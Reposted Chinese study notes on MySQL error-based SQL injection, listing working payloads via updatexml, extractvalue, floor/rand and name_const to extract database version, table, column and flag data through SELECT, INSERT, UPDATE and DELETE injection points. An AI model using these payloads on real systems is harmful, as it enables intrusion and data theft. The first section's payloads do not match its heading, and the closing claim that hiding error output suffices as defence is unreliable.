sql注入学习笔记

来源:互联网 发布:粤贵银软件 编辑:程序博客网 时间:2024/05/16 08:16

内容纲要:
1、 updatexml() 报错
2、 extractvalue() 报错
3、 floor()、count(*)、random()报错
4、 name_const() 报错

一、updatexml() 【限制了最大长度为32位】
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc ;
第二个参数:XPath_string (Xpath格式的字符串) ,可以在网上了解Xpath语法;
第三个参数:new_value,String格式,替换查找到的符合条件的数据。
作用:改变文档中符合条件的节点的值
1、select语句注入
爆出版本version()
http://www.xx.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

连接用户user()
http://www.xx.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

数据库名database()
http://www.xx.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

表名
http:// www.xx.com /?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

字段名
http:// www.xx.com /?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x666c6167 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
如果把LIMIT 1,1改为0,1,可以得到字段名id

字段内容:
http:// www.xx.com /?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,flag,0x7e) FROM flag limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、update、insert、delete语句的注入

当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MySQL的报错注入为例。

爆出版本
payload:
or updatexml(1,concat(0x7e,(version())),0) or
Insert:
INSERT INTO users (id, username, password) VALUES (2,’Olivia’ or updatexml(1,concat(0x7e,(version())),0) or”, ‘Nervo’);
这里写图片描述
Update:

UPDATE test SET password=’Nicky’ or updatexml(2,concat(0x7e,(version())),0) or”WHERE id=2;
这里写图片描述
Delete:

Delete from test where id=1 or updatexml(2,concat(0x7e,(version())),0) or’’;
这里写图片描述
(以下操作类似仅以insert为列)
暴出数据库
payload:
or updatexml(1,concat(0x7e,(database())),0) or
Insert:
INSERT INTO test (id, username, password) VALUES (2,’Olivia’ or updatexml(1,concat(0x7e,( database ())),0) or”, ‘Nervo’);
这里写图片描述
爆出表名:
payload:
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or

insert:
INSERT INTO test (id, username, password) VALUES (2,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ”, ‘Nervo’);
这里写图片描述
顺便给出update,delete的执行效果吧
这里写图片描述
爆出字段名:
payload:
or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=’test’ limit 0,1)),0) or

insert:
INSERT INTO test (id, username, password) VALUES (2,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name= ‘test’ limit 0,1)),0) or ”, ‘Nervo’);
同样给出update和delete语句的吧
这里写图片描述
爆出数据:
payload:
or updatexml(0,concat(0x7e,(SELECT 字段名 FROM 表名limit 0,1)),0) or

insert:
INSERT INTO test (id, username, password) VALUES (2,’Olivia’ or updatexml(0,concat(0x7e,(SELECT username FROM test 0,1)),0) or ”, ‘Nervo’);
这里写图片描述
Delete和update这里写图片描述
二、extractvalue() 【最大长度限制32位】
extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
用法和上一个函数updatexml()差不多,比如下面这个Payload,第二个参数要为Xpath格式的字符串,此处不是所以报错。
payload:
or extractvalue(1,concat(0x7e,database())) or
三、floor(),coun(),random()报错
关于报错的原理详细的讲解可以看这篇文章:http://www.2cto.com/article/201604/498394.html

1、 select
爆出数据库版本
http://www.xx.com/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
替换version()为database(),user() 可查询出数据库名和当前用户。

爆表
http:// www.xx.com /?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

爆字段:
http:// www.xx.com /?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x666c6167 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
如果把LIMIT 1,1改为0,1,可以得到字段名id

字段内容:
http:// www.xx.com/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,flag,0x7e) FROM flag limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、insert,update,delete注入
Payload:

or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or

四、 name_const()函数
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
这里写图片描述
Payload:
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or

Insert:
INSERT INTO users (id, username, password) VALUES (1,’Olivia’ or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or ”,’Nervo’);
update:
UPDATE users SET password=’Nicky’ or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or ” WHERE id=2 and username=’Nervo’;
delete:
DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or ”;

在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。

此处我的版本比较高,无法获取数据
INSERT INTO users (id, username, password) VALUES (1,’Olivia’ or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or ”, ‘Nervo’);
语句的测试结果
这里写图片描述
涉及到报错注入的函数还有许多,遇到再总结吧。。。
防御方面的话,关闭错误回显就行了。。。。突然感觉之前的都白折腾了。。。

原创粉丝点击